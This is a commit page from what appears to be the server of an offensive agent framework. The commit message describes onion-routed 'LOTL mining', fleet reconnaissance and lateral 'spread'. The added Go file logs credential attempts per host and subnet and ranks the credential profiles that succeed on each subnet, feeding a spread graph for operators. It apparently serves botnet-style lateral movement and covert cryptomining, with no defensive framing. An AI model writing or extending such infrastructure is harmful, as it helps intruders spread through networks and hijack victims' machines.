Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.
This commit is contained in:
113
server/internal/db/cred_edges.go
Normal file
113
server/internal/db/cred_edges.go
Normal file
@@ -0,0 +1,113 @@
|
||||
package db
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
// CredEdge records a lateral spread credential attempt (profile hash ref only — no secrets).
|
||||
type CredEdge struct {
|
||||
ID int64 `json:"id"`
|
||||
Host string `json:"host"`
|
||||
Subnet string `json:"subnet"`
|
||||
CredentialProfileID string `json:"credential_profile_id"`
|
||||
Success bool `json:"success"`
|
||||
Method string `json:"method"`
|
||||
AgentID string `json:"agent_id"`
|
||||
CreatedAt time.Time `json:"created_at"`
|
||||
}
|
||||
|
||||
// CredGraphSubnetRow aggregates cred_edges per /24 for the Emberwake graph UI.
|
||||
type CredGraphSubnetRow struct {
|
||||
Subnet string `json:"subnet"`
|
||||
EdgeCount int `json:"edges"`
|
||||
SuccessCount int `json:"success_count"`
|
||||
FailCount int `json:"fail_count"`
|
||||
}
|
||||
|
||||
// CredProfileAffinity ranks credential profiles that succeeded on a subnet.
|
||||
type CredProfileAffinity struct {
|
||||
CredentialProfileID string `json:"credential_profile_id"`
|
||||
SuccessCount int `json:"success_count"`
|
||||
LastSuccessAt string `json:"last_success_at,omitempty"`
|
||||
}
|
||||
|
||||
func (d *Database) InsertCredEdge(host, subnet, profileID, method, agentID string, success bool) error {
|
||||
host = strings.TrimSpace(host)
|
||||
subnet = strings.TrimSpace(subnet)
|
||||
profileID = strings.TrimSpace(profileID)
|
||||
if host == "" || subnet == "" || profileID == "" {
|
||||
return fmt.Errorf("cred edge requires host, subnet, and credential_profile_id")
|
||||
}
|
||||
_, err := d.Exec(
|
||||
`INSERT INTO cred_edges (host, subnet, credential_profile_id, success, method, agent_id, created_at)
|
||||
VALUES (?, ?, ?, ?, ?, ?, ?)`,
|
||||
host, subnet, profileID, boolToInt(success), strings.TrimSpace(method), strings.TrimSpace(agentID), time.Now().UTC(),
|
||||
)
|
||||
return err
|
||||
}
|
||||
|
||||
func (d *Database) ListCredProfileAffinity(subnet string) ([]CredProfileAffinity, error) {
|
||||
subnet = strings.TrimSpace(subnet)
|
||||
if subnet == "" {
|
||||
return nil, nil
|
||||
}
|
||||
rows, err := d.Query(`
|
||||
SELECT credential_profile_id,
|
||||
COUNT(*) AS wins,
|
||||
MAX(created_at) AS last_ok
|
||||
FROM cred_edges
|
||||
WHERE subnet = ? AND success = 1
|
||||
GROUP BY credential_profile_id
|
||||
ORDER BY last_ok DESC, wins DESC`,
|
||||
subnet,
|
||||
)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer rows.Close()
|
||||
|
||||
var out []CredProfileAffinity
|
||||
for rows.Next() {
|
||||
var row CredProfileAffinity
|
||||
var lastOK string
|
||||
if err := rows.Scan(&row.CredentialProfileID, &row.SuccessCount, &lastOK); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if strings.TrimSpace(lastOK) != "" {
|
||||
if parsed, parseErr := time.Parse(time.RFC3339, lastOK); parseErr == nil {
|
||||
row.LastSuccessAt = parsed.UTC().Format(time.RFC3339)
|
||||
} else {
|
||||
row.LastSuccessAt = lastOK
|
||||
}
|
||||
}
|
||||
out = append(out, row)
|
||||
}
|
||||
return out, rows.Err()
|
||||
}
|
||||
|
||||
func (d *Database) ListCredGraphBySubnet() ([]CredGraphSubnetRow, error) {
|
||||
rows, err := d.Query(`
|
||||
SELECT subnet,
|
||||
COUNT(*) AS edge_count,
|
||||
SUM(CASE WHEN success = 1 THEN 1 ELSE 0 END) AS ok_cnt,
|
||||
SUM(CASE WHEN success = 0 THEN 1 ELSE 0 END) AS fail_cnt
|
||||
FROM cred_edges
|
||||
GROUP BY subnet
|
||||
ORDER BY edge_count DESC, subnet ASC`)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer rows.Close()
|
||||
|
||||
var out []CredGraphSubnetRow
|
||||
for rows.Next() {
|
||||
var row CredGraphSubnetRow
|
||||
if err := rows.Scan(&row.Subnet, &row.EdgeCount, &row.SuccessCount, &row.FailCount); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
out = append(out, row)
|
||||
}
|
||||
return out, rows.Err()
|
||||
}
|
||||
Reference in New Issue
Block a user